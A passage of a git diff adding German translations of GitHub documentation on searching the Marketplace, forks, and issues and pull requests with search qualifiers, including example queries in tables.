+- Suche über alles von {% data variables.product.prodname_dotcom_the_website %} und filtere dann die Resultate.
+
+## Suche in {% data variables.product.prodname_marketplace %}
+
+1. Klicke auf einer beliebigen Seite oben auf **Marketplace**.
+  ![Link zum Marketplace](/assets/images/help/search/marketplace-link.png)
+2. Gib Schlüsselwörter ein, und drücke die **EINGABETASTE**.
+  ![Suche nach Linter auf {% data variables.product.prodname_marketplace %}](/assets/images/help/search/marketplace-apps-and-actions-search-field.png)
+3. Optional kannst du dein Ergebnisse filtern, indem du auf eine oder mehrere Optionen in der linken Seitenleiste klickst.
+
+## Suche über {% data variables.product.prodname_dotcom_the_website %}
+
+Jedes Mal, wenn du über alles von {% data variables.product.prodname_dotcom_the_website %} suchst, kannst du die Resultate filtern, um passende Apps und Aktionen von {% data variables.product.prodname_marketplace %} zu sehen.
+
+1. Navigieren Sie zu https://github.com/search.
+2. Gib Schlüsselwörter ein, und drücke die **EINGABETASTE**.
+  ![Suchfeld](/assets/images/help/search/search-field.png)
+3. Klicke auf der linken Randleiste auf **Marketplace**.
+  ![Suchergebnisse für Linter mit hervorgehobener Option im Marketplace-Randmenü](/assets/images/help/search/marketplace-left-side-navigation.png)
+
+## Weitere Informationsquellen
+
+- [Informationen zum {% data variables.product.prodname_marketplace %}](/github/customizing-your-github-workflow/about-github-marketplace)
+- [Verwenden von Aktionen aus dem {% data variables.product.prodname_marketplace %} in deinem Workflow](/actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow)
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-in-forks.md b/translations/de-DE/content/search-github/searching-on-github/searching-in-forks.md
new file mode 100644
index 0000000000..73b6f4455c
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-in-forks.md
@@ -0,0 +1,38 @@
+---
+title: Forks durchsuchen
+intro: 'Standardmäßig werden [Forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) nicht in Suchergebnissen angezeigt. Du kannst sie in Repositorysuchen einbeziehen, und in Codesuchen, wenn sie bestimmte Kriterien erfüllen.'
+redirect_from:
+  - /articles/searching-in-forks
+  - /github/searching-for-information-on-github/searching-in-forks
+  - /github/searching-for-information-on-github/searching-on-github/searching-in-forks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+ms.openlocfilehash: 6375fdecd7dba47447b37207467e008f0e7b3fc0
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147785790'
+---
+Wenn du in den Ergebnissen der [Repositorysuche](/search-github/searching-on-github/searching-for-repositories) Forks anzeigen möchtest, füge `fork:true` oder `fork:only` in deine Abfrage ein.
+
+Forks werden nur für die [Codesuche](/search-github/searching-on-github/searching-code) indiziert, wenn sie mehr Sterne aufweisen als das übergeordnete Repository. Code in Forks, die weniger Sterne als das übergeordnete Repository aufweisen, können nicht durchsucht werden. Wenn du in den Ergebnissen der Codesuche Forks anzeigen möchtest, die mehr Sterne als das übergeordnete Repository aufweisen, füge `fork:true` oder `fork:only` zu deiner Anfrage hinzu.
+
+Der Qualifizierer `fork:true` liefert alle Ergebnisse, die deiner Suchanfrage entsprechen, einschließlich Forks. Der Qualifizierer `fork:only` ermittelt _nur_ Forks, die deiner Suchanfrage entsprechen.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| `fork:true` | [**github fork:true**](https://github.com/search?q=github+fork%3Atrue&type=Repositories) ermittelt alle Repositorys, die das Wort „github“ enthalten, einschließlich Forks.
+| | [**android language:java fork:true**](https://github.com/search?q=android+language%3Ajava+fork%3Atrue&type=Code) sucht nach Code mit dem Wort „android“, der in Java geschrieben ist, sowohl in Forks als auch in regulären Repositorys.
+| `fork:only` | [**github fork:only**](https://github.com/search?q=github+fork%3Aonly&type=Repositories) gibt alle Forkrepositorys zurück, die das Wort „github“ enthalten.
+| | [**forks:>500 fork:only**](https://github.com/search?q=forks%3A%3E500+fork%3Aonly&type=Repositories) sucht nach Repositorys mit mehr als 500 Forks und gibt nur diejenigen zurück, bei denen es sich um Forks handelt.
+
+## Weitere Informationsquellen
+
+- [Informationen zu Forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)
+- [Informationen zur Suche auf GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github)
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/de-DE/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
new file mode 100644
index 0000000000..441847ac84
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
@@ -0,0 +1,359 @@
+---
+title: Issues und Pull Requests durchsuchen
+intro: 'Auf {% data variables.product.product_name %} kannst du nach Issues und Pull Requests suchen und die Ergebnisse mit diesen Suchqualifizierern in beliebiger Kombination eingrenzen.'
+redirect_from:
+  - /articles/searching-issues
+  - /articles/searching-issues-and-pull-requests
+  - /github/searching-for-information-on-github/searching-issues-and-pull-requests
+  - /github/searching-for-information-on-github/searching-on-github/searching-issues-and-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+shortTitle: Search issues & PRs
+ms.openlocfilehash: 8565d2d31c66291114da8ab4a95312a568d39ae3
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106461'
+---
+Du kannst Issues und Pull Requests global auf {% data variables.product.product_name %} oder in einer bestimmten Organisation durchsuchen. Weitere Informationen findest du unter [Informationen zur Suche auf {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github).
+
+{% tip %}
+
+**Tipps:** {% ifversion ghes or ghae %}
+  - Dieser Artikel enthält Beispielsuchen für die {% data variables.product.prodname_dotcom %}-Website. Du kannst jedoch die gleichen Suchfilter für {% data variables.location.product_location %} verwenden.{% endif %}
+  - Eine Liste mit Suchsyntaxoptionen, die du jedem Suchqualifizierer hinzufügen kannst, um die Ergebnisse weiter zu optimieren, findest du unter [Grundlagen der Suchsyntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax).
+  - Schließe Suchbegriffe, die aus mehreren Wörtern bestehen, in Anführungszeichen ein. Wenn du beispielsweise nach Issues mit der Kennzeichnung „In progress“ suchen möchtest, gib `label:"in progress"` ein. Bei der Suche wird die Groß-/Kleinschreibung ignoriert.
+  - {% data reusables.search.search_issues_and_pull_requests_shortcut %}
+
+  {% endtip %}
+
+## Suche nur nach Issues oder nur nach Pull Requests
+
+Die Suche auf {% data variables.product.product_name %} gibt standardmäßig sowohl Issues als auch Pull Requests zurück. Mit den Qualifizierern `type` oder `is` kannst du die Suchergebnisse jedoch auf nur Issues oder nur Pull Requests eingrenzen.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) gleicht Pull Requests mit dem Begriff „cat“ ab.
+| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) gleicht Issues ab, die den Begriff „GitHub“ beinhalten und über einen Kommentar von @defunkt verfügen.
+| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) gleicht Pull Requests mit dem Begriff „event“ ab.
+| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) gleicht geschlossene Issues mit der Kennzeichnung „bug“ ab.
+
+## Suche nach Titel, Textteil oder Kommentaren
+
+Mit dem Qualifizierer `in` kannst du deine Suche auf den Titel, den Text, die Kommentare oder eine beliebige Kombination derselben eingrenzen. Ohne diesen Qualifizierer werden Titel, Textteil und Kommentare durchsucht.
+
+| Qualifizierer     | Beispiel
+| ------------- | -------------
+| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) gleicht Issues mit dem Begriff „warning“ im Titel ab.
+| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) gleicht Issues mit dem Begriff „error“ im Titel oder Text ab.
+| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) gleicht Issues ab, bei denen in den Kommentaren „shipit“ erwähnt wird.
+
+## Suche innerhalb der Repositorys eines Benutzers oder einer Organisation
+
+Wenn du in allen Repositorys, die einem bestimmten Benutzer bzw. einer bestimmten Benutzerin oder einer bestimmten Organisation gehören, nach Issues und Pull Requests suchen möchtest, kannst du die Qualifizierer `user` oder `org` verwenden. Wenn du in einem bestimmten Repository nach Issues und Pull Requests suchen möchtest, kannst du den Qualifizierer `repo` verwenden.
+
+{% data reusables.pull_requests.large-search-workaround %}
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) gleicht Issues mit dem Begriff „ubuntu“ in Repositorys ab, die @defunkt gehören.
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) gleicht Issues in Repositorys ab, die der Organisation GitHub gehören.
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) gleicht Issues aus dem shumway-Projekt von @mozilla ab, die vor März 2012 erstellt wurden.
+
+## Suche nach Öffnungsstatus
+
+Mit den Qualifizierern `state` oder `is` kannst du nach offenen und geschlossenen Issues und Pull Requests filtern.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) gleicht offene Issues, in denen @vmg erwähnt wird, mit dem Begriff „libraries“ ab.
+| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) gleicht geschlossene Issues mit dem Begriff „design“ im Text ab.
+| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) gleicht offene Issues mit dem Begriff „performance“ ab.
+| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) gleicht geschlossene Issues und Pull Requests mit dem Begriff „android“ ab.
+
+{% ifversion issue-close-reasons %}
+## Suchen nach dem Grund, warum ein Problem geschlossen wurde
+
+Du kannst Issues basierend auf dem Grund filtern, aus dem sie geschlossen wurden, indem du den Qualifizierer `reason` verwendest.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `reason:completed` | [**libraries is:closed reason:completed**](https://github.com/search?q=libraries+is%3Aclosed+reason%3Acompleted&type=Issues) gleicht Issues mit dem Wort „libraries“ ab, die als „completed“ geschlossen wurden.
+| `reason:"not planned"` | [**libraries is:closed reason:not planned**](https://github.com/search?q=libraries+is%3Aclosed+reason%3A%22not+planned%22&type=Issues) gleicht Issues mit dem Wort „libraries“ ab, die als „not planned“ geschlossen wurden.
+ 
+{% endif %}
+
+## Filtern nach der Sichtbarkeit von Repositorys
+
+Mit dem Qualifizierer `is` kannst du nach der Sichtbarkeit des Repositorys filtern, das die Issues und Pull Requests enthält. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
+
+| Qualifizierer  | Beispiel | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) gleicht Issues und Pull Requests in öffentlichen Repositorys ab.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) gleicht Issues und Pull Requests in internen Repositorys ab.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) gleicht Issues und Pull Requests mit dem Begriff „cupcake“ in privaten Repositorys ab, auf die Sie zugreifen können.
+
+## Suche nach Autor
+
+Mit dem Qualifizierer `author` wird nach Issues und Pull Requests gesucht, die von einem bestimmten Benutzer bzw. einer bestimmten Benutzerin oder einem bestimmten Integrationskonto erstellt wurden.
+
+| Qualifizierer     | Beispiel
+| ------------- | -------------
+| <code>author:<em>USERNAME</em></code> | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) gleicht Issues und Pull Requests, die von @gjtorikian erstellt wurden, mit dem Begriff „cool“ ab.
+| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) gleicht von @mdo verfasste Issues ab, die den Begriff „bootstrap“ im Text enthalten.
+| <code>author:app/<em>USERNAME</em></code> | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) gleicht Issues ab, die vom Integrationskonto „robot“ erstellt wurden.
+
+## Suche nach Bearbeiter
+
+Mit dem Qualifizierer `assignee` wird nach Issues und Pull Requests gesucht, die einem bestimmten Benutzer bzw. einer bestimmten Benutzerin zugewiesen sind. Du kannst zwar nicht nach Issues und Pull Requests mit _einer beliebigen_ zugewiesenen Person suchen, aber nach [Issues und Pull Requests ohne zugewiesene Person](#search-by-missing-metadata).
+
+| Qualifizierer     | Beispiel
+| ------------- | -------------
+| <code>assignee:<em>USERNAME</em></code> | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) gleicht Issues und Pull Requests im Projekt libgit2 von libgit2 ab, die @vmg zugewiesen sind.
+
+## Suche nach Erwähnung
+
+Mit dem Qualifizierer `mentions` wird nach Issues gesucht, in denen ein bestimmter Benutzer bzw. eine bestimmte Benutzerin erwähnt wird. Weitere Informationen findest du unter [Erwähnen von Personen und Teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams).
+
+| Qualifizierer     | Beispiel
+| ------------- | -------------
+| <code>mentions:<em>USERNAME</em></code> | [ **`resque mentions:defunkt`**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) gleicht Issues mit dem Begriff „resque“ ab, in denen @defunkt erwähnt wird.
+
+## Suche nach Teamerwähnung
+
+Bei Organisationen und Teams, zu denen du gehörst, kannst du den Qualifizierer `team` verwenden, um nach Issues oder Pull Requests zu suchen, in denen ein bestimmtes Team innerhalb dieser Organisation erwähnt wird (@mention). Ersetze in den folgenden Beispielen die Namen durch den Namen deiner Organisation und deines Teams, um eine Suche durchzuführen.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>team:<em>ORGNAME/TEAMNAME</em></code> | **`team:jekyll/owners`** gleicht Issues ab, in denen das Team `@jekyll/owners` erwähnt wird.
+| | **team:myorg/ops is:open is:pr** gleicht offene Pull Requests ab, in denen das Team `@myorg/ops` erwähnt wird.
+
+## Suche nach Kommentierer
+
+Mit dem Qualifizierer `commenter` wird nach Issues gesucht, die einen Kommentar von einem bestimmten Benutzer bzw. einer bestimmten Benutzerin enthalten.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>commenter:<em>USERNAME</em></code> | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) gleicht Issues in Repositorys ab, die GitHub gehören, den Begriff „github“ enthalten und über einen Kommentar von @defunkt verfügen.
+
+## Suche nach beteiligtem Benutzer
+
+Mit dem Qualifizierer `involves` kannst du nach Issues suchen, an denen ein bestimmter Benutzer bzw. eine bestimmte Benutzerin in irgendeiner Weise beteiligt ist. Der Qualifizierer `involves` ist ein logisches „Oder“ zwischen den Qualifizierern `author`, `assignee`, `mentions` und `commenter` für einen einzelnen Benutzer bzw. eine einzelne Benutzerin. Dieser Qualifizierer sucht also Issues und Pull Requests, die von einem bestimmten Benutzer erstellt wurden, diesem zugewiesen sind, diesen erwähnen oder in denen dieser Benutzer einen Kommentar hinterlassen hat.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>involves:<em>USERNAME</em></code> | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** gleicht Issues ab, an denen entweder @defunkt oder @jlord beteiligt ist.
+| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) gleicht Issues ab, an denen @mdo beteiligt ist und die im Text nicht den Begriff „bootstrap“ enthalten.
+
+## Suche nach verknüpften Issues und Pull Request
+Du kannst deine Ergebnisse auf Issues einschränken, die mit einem Pull-Request verknüpft sind, indem du eine schließende Referenz verwendest, oder auf Pull-Requests, die mit einem Issue verbunden sind, den der Pull-Request schließen kann.
+
+| Qualifizierer | Beispiel |
+| ------------- | ------------- |
+| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) gleicht offene Issues im Repository `desktop/desktop` ab, die durch einen schließenden Verweis mit einem Pull Request verknüpft sind. |
+| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) gleicht geschlossene Pull Requests im Repository `desktop/desktop` ab, die mit einem Issue verknüpft wurden, das der Pull Request möglicherweise geschlossen hat. |
+| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) gleicht offene Issues im Repository `desktop/desktop` ab, die nicht durch einen schließenden Verweis mit einem Pull Request verknüpft sind. |
+| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) gleicht offene Pull Requests im Repository `desktop/desktop` ab, die nicht mit einem Issue verknüpft sind, das der Pull Request möglicherweise schließt. |
+
+## Suche nach Kennzeichnung
+
+Mit dem Qualifizierer `label` kannst du deine Ergebnisse basierend auf Kennzeichnungen eingrenzen. Da Issues verschiedene Kennzeichnungen aufweisen können, kannst du für jeden Issue einen eigenen Qualifizierer einsetzen.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>label:<em>LABEL</em></code> | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) gleicht Issues mit der Kennzeichnung „help wanted“ in Ruby-Repositorys ab.
+|  | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) gleicht Issues mit dem Begriff „broken“ im Text ab, die nicht über die Kennzeichnung „bug“ verfügen, *aber* über die Kennzeichnung „priority“.
+| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) gleicht Issues mit den Bezeichnungen „bug“ und „resolved“ ab.
+| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) gleicht Issues mit den Bezeichnungen „bug“ oder „resolved“ ab.
+
+## Suche nach Meilenstein
+
+Mit dem Qualifizierer `milestone` wird nach Issues oder Pull Requests gesucht, die Teil eines [Meilensteins](/articles/about-milestones) in einem Repository sind.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>milestone:<em>MILESTONE</em></code> | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) gleicht Issues in einem Meilenstein namens „overhaul“ ab.
+| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) gleicht Issues in einem Meilenstein namens „bug fix“ ab.
+
+## Suche nach Projektboard
+
+Du kannst den Qualifizierer `project` verwenden, um nach Issues zu suchen, die einem bestimmten [Projektboard](/articles/about-project-boards/) in einem Repository oder einer Organisation zugeordnet sind. Projektboards werden anhand ihrer Projektboardnummer gesucht. Die Nummer eines Projektboards befindet sich am Ende seiner URL.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>project:<em>PROJECT_BOARD</em></code> | **project:github/57** gleicht Issues ab, die GitHub gehören und dem Projektboard 57 der Organisation zugeordnet sind.
+| <code>project:<em>REPOSITORY/PROJECT_BOARD</em></code> | **project:github/linguist/1** gleicht Issues ab, die dem Projektboard 1 im Repository „linguist“ von @github zugeordnet sind.
+
+## Suche nach Commit-Status
+
+Du kannst Pull Requests nach dem Status ihrer Commits filtern. Dies ist besonders nützlich, wenn du [die Status-API](/rest/reference/commits#commit-statuses) oder einen CI-Dienst verwendest.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) gleicht in Go-Repositorys geöffnete Pull Requests ab, deren Status „pending“ ist.
+| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) gleicht offene Pull Requests mit dem Begriff „finally“ im Text und dem Status „success“ ab.
+| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) gleicht Pull Requests mit dem Status „failure“ ab, die im Mai 2015 geöffnet wurden.
+
+## Suche nach Commit-SHA
+
+Wenn du den spezifischen SHA-Hash eines Commits kennst, kannst du ihn für die Suche nach Pull Requests verwenden, die diesen SHA enthalten. Die SHA-Syntax besteht aus mindestens sieben Zeichen.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code><em>SHA</em></code> | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) gleicht Pull Requests mit einem Commit-SHA-Wert ab, der mit `e1109ab` beginnt.
+| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) gleicht gemergte Pull Requests mit einem Commit-SHA-Wert ab, der mit `0eff326d6213c` beginnt.
+
+## Suche nach Branch-Name
+
+Du kannst Pull Requests nach dem Branch filtern, aus dem sie stammen (Head-Branch) oder in den sie zusammengeführt werden (Basis-Branch).
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>head:<em>HEAD_BRANCH</em></code> | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) gleicht über Branches geöffnete Pull Requests ab, deren Name mit dem Begriff „change“ beginnt und die geschlossen sind.
+| <code>base:<em>BASE_BRANCH</em></code> | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) gleicht Pull Requests ab, die im Branch `gh-pages` gemergt werden.
+
+## Suche nach Sprache
+
+Mit dem Qualifizierer `language` kannst du nach Issues und Pull Requests in Repositorys suchen, die in einer bestimmten Programmiersprache geschrieben sind.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>language:<em>LANGUAGE</em></code> | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) gleicht offene Issues in Ruby-Repositorys ab.
+
+## Suche nach Anzahl der Kommentare
+
+Du kannst den Qualifizierer `comments` zusammen mit den [Qualifizierern für „größer als“, „kleiner als“ oder bestimmte Bereiche](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) verwenden, um nach der Anzahl von Kommentaren zu suchen.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>comments:<em>n</em></code> | [**state:closed comments:&gt;100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) gleicht geschlossene Issues mit mehr als 100 Kommentaren ab.
+| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) gleicht Issues mit 500 bis 1.000 Kommentaren ab.
+
+## Suche nach Anzahl der Interaktionen
+
+Mit dem Qualifizierer `interactions` und den [Qualifizierern für „größer als“, „kleiner als“ oder bestimmte Bereiche](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) kannst du Issues und Pull Requests nach der Anzahl der Interaktionen filtern. Der Interaktionszähler ist die Anzahl Reaktionen und Kommentare zu einem Issue oder Pull Request.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) gleicht Pull Requests oder Issues mit mehr als 2.000 Interaktionen ab.
+| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) gleicht Pull Requests oder Issues mit 500 bis 1.000 Interaktionen ab.
+
+## Suche nach Anzahl der Reaktionen
+
+Mit dem Qualifizierer `reactions` und den [Qualifizierern für „größer als“, „kleiner als“ oder bestimmte Bereiche](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) kannst du Issues und Pull Requests nach der Anzahl der Reaktionen filtern.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) gleicht Issues mit mehr als 1.000 Reaktionen ab.
+| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) gleicht Issues mit 500 bis 1.000 Reaktionen ab.
+
+## Suche nach Pull-Request-Entwürfen
+Du kannst nach Pull-Request-Entwürfen suchen. Weitere Informationen findest du unter [Informationen zu Pull Requests](/articles/about-pull-requests#draft-pull-requests).
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) gleicht Pull Requests im Entwurfsstadium ab.
+| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) gleicht Pull Requests ab, die für einen Review bereit sind.
+
+## Suche nach Review-Status und Reviewer eines Pull-Requests
+
+Du kannst Pull Requests basierend auf [Reviewstatus](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_keiner_, _erforderlich_, _genehmigt_ oder _Änderungen gefordert_), Reviewer*in und angefragten Reviewer*innen filtern.
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) gleicht Pull Requests ab, für die kein Review durchgeführt wurde.
+| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) gleicht Pull Requests ab, bei denen vor einem Merge ein Review erforderlich ist.
+| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) gleicht Pull Requests ab, die ein Reviewer genehmigt hat.
+| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) gleicht Pull Requests ab, in denen ein Reviewer um Änderungen gebeten hat.
+| <code>reviewed-by:<em>USERNAME</em></code> | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) gleicht Pull Requests ab, bei denen der Review von einer bestimmten Person durchgeführt wurde.
+| <code>review-requested:<em>USERNAME</em></code> | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) gleicht Pull Requests ab, bei denen eine bestimmte Person für einen Review angefragt wurde. Angeforderte Reviewer werden nicht mehr in den Suchergebnissen aufgeführt, sobald sie den Review eines Pull Requests abgeschlossen haben. Wenn die angeforderte Person zu einem Team gehört, das ebenfalls für den Review angefordert wurde, werden die Review-Anforderungen für dieses Team ebenfalls in den Suchergebnissen aufgeführt.
+| <code>user-review-requested:@me</code> | [**type:pr user-review-requested:@me** ](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) gleicht Pull Requests ab, für die du direkt um einen Review gebeten wurdest.
+| <code>team-review-requested:<em>TEAMNAME</em></code> | [**type:pr team-review-requested:github/docs**](https://github.com/search?q=type%3Apr+team-review-requested%3Agithub%2Fdocs&type=pullrequests) gleicht Pull Requests ab, die über Reviewanfragen des Teams `github/docs` verfügen. Angeforderte Reviewer werden nicht mehr in den Suchergebnissen aufgeführt, sobald sie den Review eines Pull Requests abgeschlossen haben.
+
+## Suche nach dem Datum der Erstellung oder letzten Änderung eines Issues oder Pull Requests
+
+Du kannst Issues nach dem Zeitpunkt der Erstellung oder letzten Änderung filtern. Für die Erstellung eines Issues kannst du den Qualifizierer `created` verwenden. Wenn du herausfinden möchtest, wann ein Issue zuletzt aktualisiert wurde, musst du den Qualifizierer `updated` verwenden.
+
+Beide Qualifizierer verwenden als Parameter ein Datum. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifizierer        | Beispiel
+| ------------- | -------------
+| <code>created:<em>YYYY-MM-DD</em></code> | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) gleicht offene Issues ab, die vor 2011 erstellt wurden und sich in Repositorys befinden, die in C# geschrieben sind.
